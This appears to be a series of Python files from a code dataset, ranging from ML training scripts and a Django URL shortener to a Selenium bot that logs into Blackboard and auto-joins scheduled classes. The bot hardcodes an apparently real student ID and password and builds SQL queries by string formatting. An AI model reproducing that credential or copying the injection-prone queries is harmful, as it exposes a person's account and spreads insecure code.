print(n)\n result = []\n if n % 2 == 0:\n label = 2 ** (n-1) + 2 ** n - 1 - label\n\n while label > 0:\n result.append(label)\n label //= 2\n result = result[::-1]\n print(result)\n for i in range(len(result)):\n if i % 2 == 1:\n result[i] = 2 ** i + 2 ** (i+1) - 1 - result[i]\n return result\n\nif __name__ == \"__main__\":\n a = Solution()\n print(a.pathInZigZagTree(26))\n","sub_path":"python/leetcode/tree/1104_path_zigzag.py","file_name":"1104_path_zigzag.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"499592936","text":"import keras\nimport os\nimport numpy as np\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.layers import Conv2D, MaxPooling2D, Dropout, Flatten, Dense\nfrom keras import backend as K, Sequential\nfrom scipy import misc\nfrom sklearn.preprocessing import LabelEncoder\nimport pickle\n\n\n\n\n#GLOBALS\nnum_classes = 7\nimg_rows, img_cols = 128, 128\nbatch_size = 32\nepochs = 12\nsize_data = 10690\nsize_train_data = 9000\nimages = []\nlabels = []\n\nprint(\"Loading images...\")\n'''\nfor dir in os.listdir(\"./video_preprocessing\"):\n if os.path.isdir(\"./video_preprocessing/\"+dir):\n for file in os.listdir(\"./video_preprocessing/\"+dir):\n images.append(misc.imread(\"./video_preprocessing/\"+dir + \"/\" + file, mode=\"L\"))\n labels.append(dir.__str__())\n\nprint(\"Formating images...\")\nimages = np.array(images) #(10690, 128, 128)\nlabels = np.array(labels) #(10690, )\nencoder = LabelEncoder()\nencoder.fit(labels)\nencoded_y = encoder.transform(labels)\nlabels = keras.utils.to_categorical(encoded_y, num_classes)\nidx = np.random.permutation(images.shape[0]) #shuffle\nx, y = images[idx], labels[idx]\nx_train, x_test, y_train, y_test = x[:size_train_data, :, :], x[size_train_data:, :, :], y[:size_train_data], y[size_train_data:]\n\nif K.image_data_format() == \"channels_first\":\n x_train = x_train.reshape(x_train.shape[0], 1,img_rows, img_cols)\n x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)\n input_shape = (1, img_rows, img_cols)\nelse:\n x_train = x_train.reshape(x_train.shape[0],img_rows, img_cols, 1)\n x_test = x_test.reshape(x_test.shape[0],img_rows, img_cols, 1)\n input_shape = (img_rows, img_cols, 1)\nx_train = x_train.astype(\"float32\")\nx_test = x_test.astype(\"float32\")\nx_train /= 255\nx_test /= 255\ndata = (x_train, x_test, y_train, y_test)\n'''\ndata = pickle.load(open(\"./frauenhofer_pickled.p\", \"rb\"))\nx_train, x_test, y_train, y_test = data\nif K.image_data_format() == \"channels_first\":\n input_shape = (1, img_rows, img_cols)\nelse:\n input_shape = (img_rows, img_cols, 1)\nprint(\"Finished loading\")\n\n\n\nprint(\"Initialize Image Augmentation Generators...\")\ntrain_datagen = ImageDataGenerator(\n rotation_range=10, width_shift_range=0.1,\n height_shift_range=0.1, shear_range=0.1,\n zoom_range=0.2, horizontal_flip=True, fill_mode=\"nearest\")\n\ntest_datagen = ImageDataGenerator() #looks redundant\n\ntrain_generator = train_datagen.flow(\n x_train, y_train, batch_size=batch_size,\n)\n\ntest_generator = test_datagen.flow(\n x_test, y_test, batch_size=batch_size\n)\nprint(\"Image Augmentation Set Up\")\n\nprint(\"Define Model and start learning...\")\n#learning rate and stuff should be customized\n#copy and paste\n\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3),\n activation=\"relu\",\n input_shape=input_shape))\n#model.add(Dropout(0.2))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(64, (3, 3), activation=\"relu\"))\n#model.add(Dropout(0.3))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n# model.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(64, activation=\"relu\"))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation=\"softmax\"))\n#attention slef-attention\n#adversial\n#mehr transformationen\n#scikit learn\n#https://blog.keras.io/building-powerful-image-classification-models-using-very-little-data.html\nmodel.compile(loss=keras.losses.categorical_crossentropy,\n optimizer=keras.optimizers.Adadelta(),\n metrics=[\"accuracy\"])\n\nmodel.fit_generator(train_generator,\n workers=4, steps_per_epoch=size_data//batch_size,\n epochs=epochs, validation_data=test_generator,\n validation_steps=size_data//batch_size, verbose=1)\n\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint('Test loss:', score[0])\nprint('Test accuracy:', score[1])\n\n\n\n\n\n\n\n","sub_path":"keras_cnn_for_frauenhofer.py","file_name":"keras_cnn_for_frauenhofer.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"183334648","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\n\ndef inputs():\n xys = [\n ([1, 1, 1], 0),\n ([1, 0, 1], -1),\n ([0, 1, 1], -1),\n ([0, 0, 1], -2),\n ]\n while True:\n for xy in xys:\n yield xy\n\n\nif __name__ == '__main__':\n w = np.array([1, 1, 0])\n count = 0\n for (X, y) in inputs():\n X = np.array(X)\n y0 = np.dot(X, w)\n dw = (y - y0) * 0.1 * X\n w = w + dw\n count += 1\n if count > 10000:\n break\n print(w)\n","sub_path":"neuron.py","file_name":"neuron.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"470933452","text":"import contextlib\n\nimport trio\nimport attr\n\nfrom .game import Game\n\n\n@attr.s\nclass Handler:\n\n bot = attr.ib()\n chats = attr.ib(factory=set)\n command = attr.ib(default=\"/start\")\n\n async def __call__(self):\n async with trio.open_nursery() as nursery:\n async with self.bot.sub(self.new_chat_message) as updates:\n async for update in updates:\n chat_id = update[\"message\"][\"chat\"][\"id\"]\n await nursery.start(self.new_game, chat_id)\n\n async def new_game(self, chat_id, task_status=trio.TASK_STATUS_IGNORED):\n with self.chat_scope(chat_id):\n task_status.started()\n await Game(self.bot, chat_id)()\n\n @contextlib.contextmanager\n def chat_scope(self, chat_id):\n self.chats.add(chat_id)\n yield\n self.chats.remove(chat_id)\n\n def new_chat_message(self, update):\n msg = update.get(\"message\")\n if msg is None:\n return False\n\n text = msg.get(\"text\")\n if text is None:\n return False\n\n chat_id = msg[\"chat\"][\"id\"]\n if chat_id in self.chats:\n return False\n\n from_ = msg.get(\"from\")\n if from_ is None:\n return False\n\n if from_[\"id\"] == chat_id:\n return False\n\n return text.startswith(self.command)\n","sub_path":"catnames/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"5047338","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 3 10:41:57 2018\n\n@author: CV_LAB_Howard\n\"\"\"\n\n# combined color and edge detection\n\nimport cv2\nimport numpy as np\n# from matplotlib import pyplot as plt\n\n# load the image\nimage = cv2.imread(r'D:\\Howard_Feng\\noteDetection\\Vision_Detection_Part\\real_lighting_condition_pics\\640.jpg')\n#image = cv2.imread(r'D:\\LabWork\\ThesisProject\\noteDetection\\Vision_Detection_Part\\real_lighting_condition_pics\\640.jpg')\n\n# define the list of boundaries\nboundaries = [\n ([0, 0, 100], [60, 60, 180]), # red\n ([18, 43, 64], [40, 60, 86]), # brown\n ([30, 140, 180], [60, 190, 240]), # yellow\n ([20, 70, 50], [60, 110, 80]), # green \n ([100, 100, 120], [135, 134, 180]), # pink\n ([160, 120, 70], [210, 180, 130]), # blue\n ([100, 135, 100], [155, 170, 160]) # gray \n]\n\nn = 0\n\n# loop over the boundaries\nfor (lower, upper) in boundaries:\n # create NumPy arrays from the boundaries\n n = n + 1\n lower = np.array(lower, dtype = \"uint8\")\n upper = np.array(upper, dtype = \"uint8\")\n \n\t # find the colors within the specified boundaries and apply\n\t # the mask\n mask = cv2.inRange(image, lower, upper)\n \n output = cv2.bitwise_and(image, image, mask = mask)\n blurred = cv2.GaussianBlur(output, (3, 3), 0)\n \n \n # cv2.imshow(\"image\", output)\n # show the images\n # cv2.imshow(\"images\", np.hstack([image, output]))\n cv2.imwrite(str(n) + \".jpg\", blurred)\n \n if n == 1:\n continue\n \n img = cv2.imread(str(n-1) + \".jpg\")\n \n add = blurred + img\n \n# cv2.imwrite(str(n) + \".jpg\", add)\n\nimg = cv2.imread(str(n) + \".jpg\", 1)\n\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nblurred = cv2.GaussianBlur(gray, (1, 1), 0)\n# cv2.imshow(\"image\", blurred)\nresult = cv2.Canny(blurred, 100, 225)\n#gray = np.float32(gray) \n#corner = cv2.cornerHarris(gray, 2,3,0.04) \n#corner = cv2.dilate(corner, None)\n#add[corner>0.01*corner.max()]=[0,0,255]\n# cv2.imshow(\"image\", result)\n# cv2.imshow(\"images\", np.hstack([gray, result]))\n#cv2.imshow(\"image\", add)\ncompare = np.hstack([gray, result])\ncv2.imwrite(\"edgeb.jpg\", result)\n#cv2.imwrite(\"cornerb.jpg\", add)\ncv2.imwrite(\"compareb.jpg\", compare)\n\n","sub_path":"Vision_Detection_Part/color_edge_detection.py","file_name":"color_edge_detection.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"399627954","text":"import os\n#venta de prendas de vestir\n#declaracion de datos\nbusos,polos,casacas=0,0,0\nlimite=False\n\n#input\nbusos=int(os.sys.argv[1])\npolos=int(os.sys.argv[2])\ncasacas=int(os.sys.argv[3])\n\n#processing\ntotal=(busos+polos+casacas)\nlimite=(total>10)\n\n#output\nprint(\"Numeros de busos:\",busos)\nprint(\"Numeros de polos:\",polos)\nprint(\"Numeros de casacas:\",casacas)\nprint(\"Total de prendas compradas:\",total)\n\n#condicional simple\n#si el numero deprendas compradas supera las 20 ganara un conjuntos gratis\n\nif(limite):\n print(\"ud a ganado una conjunto gratis,GRACIAS POR SU COMPRA\")\nelse:\n print(\"Gracias por su compra\")\n#fin_if\n","sub_path":"ChigneGarrampie/Dobles/validador_doble20.py","file_name":"validador_doble20.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"372279980","text":"from selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.options import Options\nimport time\nimport re\nimport os.path\nfrom os import path\nimport sqlite3\nimport schedule\nfrom datetime import datetime\nfrom selenium.webdriver.common.action_chains import ActionChains\n\nfrom selenium.webdriver.common.keys import Keys\n\nopt = Options()\nopt.add_argument(\"--disable-infobars\")\nopt.add_argument(\"start-maximized\")\nopt.add_argument(\"--disable-extensions\")\nopt.add_argument(\"--start-maximized\")\nopt.add_argument(\"--disable-notifications\")\n\nopt.add_experimental_option(\"prefs\", {\n \"profile.default_content_setting_values.media_stream_mic\": 2,\n \"profile.default_content_setting_values.media_stream_camera\": 2,\n \"profile.default_content_setting_values.geolocation\": 2,\n \"profile.default_content_setting_values.notifications\": 2\n})\n\n\ndriver = None\nURL = \"https://cuchd.blackboard.com\"\n\n# put your credentials here\nCREDS = {'email': '19bcs1526', 'passwd': '''Goodboy2@13'''}\n\n\ndef login():\n global driver\n\n print(\"logging in\")\n agreebutton = driver.find_element_by_id('agree_button')\n agreebutton.click()\n emailField = driver.find_element_by_id('user_id')\n\n emailField.click()\n emailField.send_keys(CREDS['email'])\n driver.find_element_by_id('password').click()\n\n passwordField = driver.find_element_by_id('password')\n passwordField.click()\n passwordField.send_keys(CREDS['passwd'])\n driver.find_element_by_id('entry-login').click()\n time.sleep(5)\n\n\ndef createDB():\n conn = sqlite3.connect('timetable.db')\n c = conn.cursor()\n # Create table\n c.execute(\n '''CREATE TABLE timetable(class text, start_time text, end_time text, day text)''')\n conn.commit()\n conn.close()\n print(\"Created timetable Database\")\n\n\ndef validate_input(regex, inp):\n if not re.match(regex, inp):\n return False\n return True\n\n\ndef validate_day(inp):\n days = [\"monday\", \"tuesday\", \"wednesday\",\n \"thursday\", \"friday\", \"saturday\", \"sunday\"]\n\n if inp.lower() in days:\n return True\n else:\n return False\n\n\ndef add_timetable():\n if(not(path.exists(\"timetable.db\"))):\n createDB()\n op = int(input(\"1. Add class\\n2. Done adding\\nEnter option : \"))\n while(op == 1):\n name = input(\"Enter class name : \")\n start_time = input(\n \"Enter class start time in 24 hour format: (HH:MM) \")\n while not(validate_input(\"\\d\\d:\\d\\d\", start_time)):\n print(\"Invalid input, try again\")\n start_time = input(\n \"Enter class start time in 24 hour format: (HH:MM) \")\n\n end_time = input(\"Enter class end time in 24 hour format: (HH:MM) \")\n while not(validate_input(\"\\d\\d:\\d\\d\", end_time)):\n print(\"Invalid input, try again\")\n end_time = input(\n \"Enter class end time in 24 hour format: (HH:MM) \")\n\n day = input(\"Enter day (Monday/Tuesday/Wednesday..etc) : \")\n while not(validate_day(day.strip())):\n print(\"Invalid input, try again\")\n end_time = input(\"Enter day (Monday/Tuesday/Wednesday..etc) : \")\n\n conn = sqlite3.connect('timetable.db')\n c = conn.cursor()\n\n c.execute(\"INSERT INTO timetable VALUES ('%s','%s','%s','%s')\" %\n (name, start_time, end_time, day))\n\n conn.commit()\n conn.close()\n\n print(\"Class added to database\\n\")\n\n op = int(input(\"1. Add class\\n2. Done adding\\nEnter option : \"))\n\n\ndef view_timetable():\n conn = sqlite3.connect('timetable.db')\n c = conn.cursor()\n for row in c.execute('SELECT * FROM timetable'):\n print(row)\n conn.close()\n\n\ndef joinclass(class_name, start_time, end_time):\n global driver\n\n try_time = int(start_time.split(\":\")[1]) + 15\n try_time = start_time.split(\":\")[0] + \":\" + str(try_time)\n\n time.sleep(5)\n\n classes_available = driver.find_elements_by_class_name(\n \"js-course-title-element\")\n\n for i in classes_available:\n print(i.get_attribute('innerHTML').lower())\n if class_name.lower() in i.get_attribute('innerHTML').lower():\n print(\"JOINING CLASS \", class_name)\n\n i.click()\n\n break\n\n time.sleep(4)\n\n try:\n action = ActionChains(driver)\n joinbtn = driver.find_element_by_id(\"sessions-list-dropdown\")\n print(joinbtn)\n joinbtn.click()\n driver.find_element_by_xpath(\n '/html/body/div[1]/div[2]/bb-base-layout/div/main/div[3]/div/div[3]/div/div/div/div[2]/div/div[2]/div[3]/div/div[2]/div[3]/aside/div[6]/div[2]/div[2]/div/div/ul/li/a/span').click()\n # joinclass= driver.find_element_by_xpath('/html/body/div[1]/div[2]/bb-base-layout/div/main/div[3]/div/div[3]/div/div/div/div[2]/div/div[2]/div[3]/div/div[2]/div[3]/aside/div[6]/div[2]/div[2]/div/div/ul/li[2]/a/span')\n # joinclass.click()\n time.sleep(15)\n driver.switch_to.window(driver.window_handles[-1])\n\n driver.find_element_by_xpath('/html/body/div[3]/div/button').click()\n\n # alert = driver.switch_to.alert\n # alert.dismiss()\n\n # obj.dismiss()\n\n except:\n # join button not found\n # refresh every minute until found\n k = 1\n while(k <= 15):\n print(\"Join button not found, trying again\")\n time.sleep(60)\n driver.refresh()\n joinclass(class_name, start_time, end_time)\n # schedule.every(1).minutes.do(joinclass,class_name,start_time,end_time)\n k += 1\n print(\"Seems like there is no class today.\")\n\n tmp = \"%H:%M\"\n\n class_running_time = datetime.strptime(\n end_time, tmp) - datetime.strptime(start_time, tmp)\n print(class_running_time)\n\n time.sleep(class_running_time.seconds)\n driver.quit()\n\n print(\"Class left\")\n start_browser()\n\n\ndef start_browser():\n\n global driver\n chromedDriver = \"/home/parabhjyot/Downloads/chromedriver\"\n driver = webdriver.Chrome(options=opt, service_log_path='chromeddriver')\n\n driver.get(URL)\n\n WebDriverWait(driver, 10000).until(\n EC.visibility_of_element_located((By.TAG_NAME, 'body')))\n\n if(\"https://cuchd.blackboard.com/\" in driver.current_url):\n login()\n\n\ndef sched():\n conn = sqlite3.connect('timetable.db')\n c = conn.cursor()\n for row in c.execute('SELECT * FROM timetable'):\n # schedule all classes\n name = row[0]\n start_time = row[1]\n end_time = row[2]\n day = row[3]\n\n if day.lower() == \"monday\":\n schedule.every().monday.at(start_time).do(\n joinclass, name, start_time, end_time)\n print(\"Scheduled class '%s' on %s at %s\" % (name, day, start_time))\n if day.lower() == \"tuesday\":\n schedule.every().tuesday.at(start_time).do(\n joinclass, name, start_time, end_time)\n print(\"Scheduled class '%s' on %s at %s\" % (name, day, start_time))\n if day.lower() == \"wednesday\":\n schedule.every().wednesday.at(start_time).do(\n joinclass, name, start_time, end_time)\n print(\"Scheduled class '%s' on %s at %s\" % (name, day, start_time))\n if day.lower() == \"thursday\":\n schedule.every().thursday.at(start_time).do(\n joinclass, name, start_time, end_time)\n print(\"Scheduled class '%s' on %s at %s\" % (name, day, start_time))\n if day.lower() == \"friday\":\n schedule.every().friday.at(start_time).do(\n joinclass, name, start_time, end_time)\n print(\"Scheduled class '%s' on %s at %s\" % (name, day, start_time))\n if day.lower() == \"saturday\":\n schedule.every().saturday.at(start_time).do(\n joinclass, name, start_time, end_time)\n print(\"Scheduled class '%s' on %s at %s\" % (name, day, start_time))\n if day.lower() == \"sunday\":\n schedule.every().sunday.at(start_time).do(\n joinclass, name, start_time, end_time)\n print(\"Scheduled class '%s' on %s at %s\" % (name, day, start_time))\n\n # Start browser\n start_browser()\n while True:\n # Checks whether a scheduled task\n # is pending to run or not\n schedule.run_pending()\n time.sleep(1)\n\n\nif __name__ == \"__main__\":\n # joinclass(\"Maths\",\"15:13\",\"15:15\",\"sunday\")\n op = int(\n input((\"1. Modify Timetable\\n2. View Timetable\\n3. Start Bot\\nEnter option : \")))\n\n if(op == 1):\n add_timetable()\n if(op == 2):\n view_timetable()\n if(op == 3):\n sched()\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":8741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"448994579","text":"import pandas as pd\nfrom pandas import DataFrame\n\nfrom error import Error\n\nfrom mylogger import mylog\n\n\ndef selected_products_only(in_df: pd.DataFrame, *,\n by: str,\n value_list: list) -> (pd.DataFrame, Error):\n res_df = in_df[in_df[by].isin(value_list)].copy()\n\n res_df.dropna(axis=1, how='all', inplace=True)\n\n return res_df, Error(None)\n\n\n# def remove_useless_columns(in_df: pd.DataFrame) -> (pd.DataFrame, Error):\n# res_df: DataFrame = in_df.dropna(axis=1, how='all', inplace=False)\n\n# remove_list = []\n# for col in res_df:\n# if res_df[col].nunique() == 1:\n# remove_list.append(col)\n\n# for col in remove_list:\n# res_df.drop(col, 1, inplace=True)\n\n# res_df = res_df.loc[:, (res_df != '').any(axis=0)]\n\n# mylog.debug(\"Dropped empty columns. Remaining columns: {0}\".format(list(res_df.columns)))\n\n# return res_df, Error(None)\n\n\ndef arrange_columns_in_order(in_df: pd.DataFrame,\n order_left: list) -> (pd.DataFrame, Error):\n columns = list(in_df.columns)\n\n order_left = [c for c in order_left if c in columns]\n\n columns = [c for c in columns if c not in order_left]\n\n columns.sort()\n\n columns = order_left + columns\n\n res_df = in_df[columns].copy()\n\n return res_df, Error(None)\n","sub_path":"ifx_xml_parser/ispn_processing.py","file_name":"ispn_processing.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"628216287","text":"import sys\n\nfrom pbxproj import XcodeProject, PBXShellScriptBuildPhase\n\nproj_ios_name = sys.argv[1]\n\nmainTargetName = \"app-ios\"\n\nproject = XcodeProject.load(f\"{mainTargetName}.xcodeproj/project.pbxproj\")\napp_target = project.get_target_by_name(mainTargetName)\n\n# Fabric / Crashlytics\n#for target in project.objects.get_targets():\nshell = PBXShellScriptBuildPhase.create(\n \"${PODS_ROOT}/FirebaseCrashlytics/run\",\n input_paths=[\"$(SRCROOT)/$(BUILT_PRODUCTS_DIR)/$(INFOPLIST_PATH)\"]\n)\nproject.objects[shell.get_id()] = shell\napp_target.add_build_phase(shell)\n\nproject.save()\n","sub_path":"tools/cli/templates/template-ios/xcode-project-ios-post.py","file_name":"xcode-project-ios-post.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"636971946","text":"\"\"\"\nWrite a program to check whether a given number is an ugly number.\n\nUgly numbers are positive numbers whose prime factors only include 2, 3, 5. For example, 6, 8 are ugly while 14 is not\nugly since it includes another prime factor 7.\n\nNote that 1 is typically treated as an ugly number.\n\"\"\"\n\n\ndef is_ugly_number(number):\n \"\"\"\n Returns True if the number is an ugly number.\n :param number: the number\n :return: True or False\n \"\"\"\n if number <= 0:\n return False\n if number == 1:\n return True\n\n primes = {2, 3, 5}\n # keep dividing until it reaches 1 or some other number\n\n while dividable_by_primes(number, primes):\n for prime in primes:\n if number % prime == 0:\n number /= prime\n return number == 1\n\n\ndef dividable_by_primes(number, primes):\n \"\"\"\n Returns True if number is dividable by at least one of numbers in the list of `primes`\n \"\"\"\n return any(number % prime == 0 for prime in primes)\n","sub_path":"leetcode/math/lc263_ugly_number.py","file_name":"lc263_ugly_number.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"471329251","text":"Top_Crop = 30\nBottom_Crop = 10\n# Input to model is downsampled to half width and half height\nInput_Shape = (80,160,3)\n\nfrom util import ModelUtil, DataUtil, VisualizeUtil\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\n\n\nModelDir = \"../data/model/\"\nDriving_Log_Path = \"../data/driving_log.csv\"\nImg_Data_Dir = \"../data/IMG/\"\nDebug_Dir = \"../data/debug/\"\nNum_Epochs = 20\nVis = False # visualize output for debugging\nBatch_size = 25\nNum_Val_Samples = 10\nNum_Train_Samples = 32000 # param from Mojtaba's Medium post\nModel_Name = ModelDir+'july9_model.h5'\nclass Pipeline():\n def __init__(self):\n print(\"init\")\n self.learning_rate = 0.001\n self.modelUtil = ModelUtil()\n self.dataUtil = DataUtil()\n self.visUtil = VisualizeUtil()\n\n def train(self):\n num_train_samples, num_validation_samples, train_generator, validation_generator = \\\n self.dataUtil.train_val_generator(csv_path = Driving_Log_Path, image_dir=Img_Data_Dir,\n debug_dir = Debug_Dir, batch_size=Batch_size)\n\n if Vis:\n self.visUtil.vis_generator(train_generator, \"remove_small_angles\", save_dir=Debug_Dir)\n print(\"build model\")\n model = self.modelUtil.create_network(Top_Crop, Bottom_Crop, Input_Shape)\n\n print(\"save to : \", Model_Name)\n callbacks = [EarlyStopping(monitor='val_loss', patience=10),\n ModelCheckpoint(filepath=Model_Name, monitor='val_loss', save_best_only=True)]\n print(\"num_train_samples\",num_train_samples)\n print(\"num_validation_samples\", num_validation_samples)\n\n model.fit_generator(train_generator,\n samples_per_epoch= Num_Train_Samples,\n validation_data=validation_generator,\n nb_val_samples=Num_Val_Samples,\n nb_epoch=Num_Epochs,\n callbacks=callbacks,\n verbose=1)\n model.save(Model_Name)\n\n\ndef main():\n print(\"main function from model.py\")\n pl = Pipeline()\n pl.train()\n\n\n\nif __name__ == '__main__':\n main()","sub_path":"P3_behavior_cloning/code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"508962682","text":"from input import read_graph\n\n\ndef breadth_first_search(graph, initial_vertex, destination_vertex):\n frontier_path_queue = [] # This is the queue of paths to be explored in this graph\n\n if initial_vertex == destination_vertex: # If the initial vertex is equal to the destination vertex, then there\n # is no search to be done, we already have the path\n return initial_vertex\n\n if destination_vertex not in graph: # If the destination vertex does not belong to the graph, then there is no\n # search to be done\n return None\n\n frontier_path_queue.append([(initial_vertex, 0)]) # Our path list contains tuples of the node and the weigth of\n # the edge with the previous vertex [[(Node, Cost), (Node, Cost), (Node,Cost)]], so we added the initial vertex with\n # the value 0\n\n while frontier_path_queue: # When the queue is empty it means we looked all the possible paths\n path = frontier_path_queue.pop(0) # Current path we are analyzing\n\n node = path[-1][0] # Last node of the path\n\n if node == destination_vertex: # We've reached the destination vertex, so the path is returned\n return path, calc_path_cost(path)\n\n for adjacent in graph.get(node, []): # We're adding this node's edges to the frontier_path_queue\n new_path = list(path)\n new_path.append(adjacent)\n frontier_path_queue.append(new_path)\n\n\ndef calc_path_cost(path):\n cost = 0\n for tuple in path:\n cost = cost + int(tuple[1])\n return cost\n\n\ngraph = read_graph()\nprint(breadth_first_search(graph, \"Sibiu\", \"Bucharest\"))\n","sub_path":"first_project/breadth_first_search.py","file_name":"breadth_first_search.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"242688167","text":"import http.client as httplib\n\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.http import JsonResponse\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic.detail import BaseDetailView\nfrom django.views.generic.edit import BaseFormView\nfrom ratelimit.decorators import ratelimit\n\nfrom .configs import CREATE_SHORT_URL_RATE_LIMIT, PREVIEW_URL_REDIS_PREFIX\nfrom .forms import GetOriginalUrlForm, ShortUrlForm, UrlPreviewForm\nfrom .logics import ShortUrlLogics, UrlPreviewDataLogic, decode_short_url\nfrom .models import ShortUrl\nfrom .utils import b62_encode\n\n\n@method_decorator(ratelimit(key='ip', rate=CREATE_SHORT_URL_RATE_LIMIT, method='POST', block=False), 'post')\n@method_decorator(csrf_exempt, name='dispatch')\nclass ShortUrlView(BaseFormView):\n http_method_names = ['post']\n form_class = ShortUrlForm\n\n def post(self, request, *args, **kwargs):\n if request.limited:\n response = {\n 'message': 'Rate limit exceed'\n }\n return JsonResponse(response, status=httplib.FORBIDDEN)\n\n return super(ShortUrlView, self).post(request, *args, **kwargs)\n\n def form_valid(self, form):\n response = {}\n\n url_input = form.cleaned_data['url_input']\n\n logic = ShortUrlLogics(url_input)\n\n response['data'] = logic.get_short_url_info()\n response['message'] = 'success'\n\n return JsonResponse(response, status=httplib.OK)\n\n def form_invalid(self, form):\n return JsonResponse(form.errors, status=httplib.BAD_REQUEST)\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass ShortUrlPreviewView(BaseFormView):\n http_method_names = ['post']\n form_class = UrlPreviewForm\n\n def form_valid(self, form):\n response = {}\n\n url_input = form.cleaned_data['url_input']\n\n cache_key = PREVIEW_URL_REDIS_PREFIX + url_input\n\n if settings.ENABLE_CACHE:\n cached_preview_data = cache.get(cache_key)\n if cached_preview_data:\n response['data'] = cached_preview_data\n response['message'] = 'success'\n return JsonResponse(response, status=httplib.OK)\n\n logic = UrlPreviewDataLogic(url_input)\n\n info = logic.get_url_preview_data_info()\n if not info:\n response['data'] = {}\n response['message'] = 'failed'\n else:\n response['data'] = {\n 'title': info['title'],\n 'description': info['description'],\n 'url': info['url'],\n 'image_url': info['image_url']\n }\n\n if settings.ENABLE_CACHE:\n cache.set(cache_key, response['data'])\n\n response['message'] = 'success'\n\n return JsonResponse(response, status=httplib.OK)\n\n def form_invalid(self, form):\n return JsonResponse(form.errors, status=httplib.BAD_REQUEST)\n\n\nclass GetOriginalUrlView(BaseDetailView):\n\n def get_object(self):\n form = GetOriginalUrlForm(self.request.GET)\n\n if form.is_valid():\n short_url = form.cleaned_data['short_url']\n url_id = decode_short_url(short_url)\n\n short_url_object = ShortUrl.objects.filter(id=url_id)\n return short_url_object.first()\n\n return\n\n def get(self, request, *args, **kwargs):\n self.object = self.get_object()\n response = {}\n\n if self.object:\n response['data'] = {\n 'original_url': self.object.original_url,\n 'short_url_path': self.object.short_url_path,\n }\n response['message'] = 'success'\n return JsonResponse(response, status=httplib.OK)\n else:\n response['data'] = {}\n response['message'] = 'failed'\n\n return JsonResponse(response, status=httplib.BAD_REQUEST)\n","sub_path":"mysite/shorten_urls/api_views.py","file_name":"api_views.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"470004368","text":"#!/usr/local/bin/python3\n\n\"\"\"\nAuthor: \tClint Cooper, Emily Rohrbough, Leah Thompson\nDate: \t11/01/15\nCSCI 447:\tProject 3\n\nCode for training a Neural Network via a differential evolution \nalgorithm - using the GA.py template for creating the neural \nnetwork, generating the population, evaluating the population and \noffspring vector, checking for a hero, and evaluating the neural \nnetwork. This code specifies the training, mutation, and crossover\nnecessary for differential evolution using DE/x/1/bin method.\n\nInput:\n([Vectors of Input Values], [Vectors of Output Values], population \nsize, generation number, threshold, crossover rate, mutation rate)\n\nOutput:\nTrained Neural Network.\n\"\"\"\n\nimport NN\nimport GA\nimport random\nimport numpy\nimport copy\nfrom operator import itemgetter\n\nOrigAnswers = []\nhero = 0\n\n\ndef crossover(donorV, trialV, cRate=.5):\n '''Binomial Crossover: insures at least 1 element of the donor\n vector is carried forwared in the offspring. Otherwise, take the \n next element from either the donor or trial vector if u(0,1) is \n less than crossover rate.'''\n offspringV = []\n indices = 0\n if(len(donorV) == len(trialV)):\n indices = len(donorV)\n forwardIndex = random.randint(0, indices - 1)\n for i in range(indices):\n if random.random() < cRate and i != forwardIndex:\n offspringV.append(trialV[i])\n else:\n offspringV.append(donorV[i])\n\n return offspringV\n\n\ndef mutate(population, i, cRate=.5):\n '''Mutation based on population vector i. The entire population \n is passed so two other distinct vectors can randomly be picked \n for the difference vector.'''\n trialV = []\n j = 0\n k = 0\n\n # same acts as a boolean\n same = 0\n while(same < 2):\n same = 0\n j 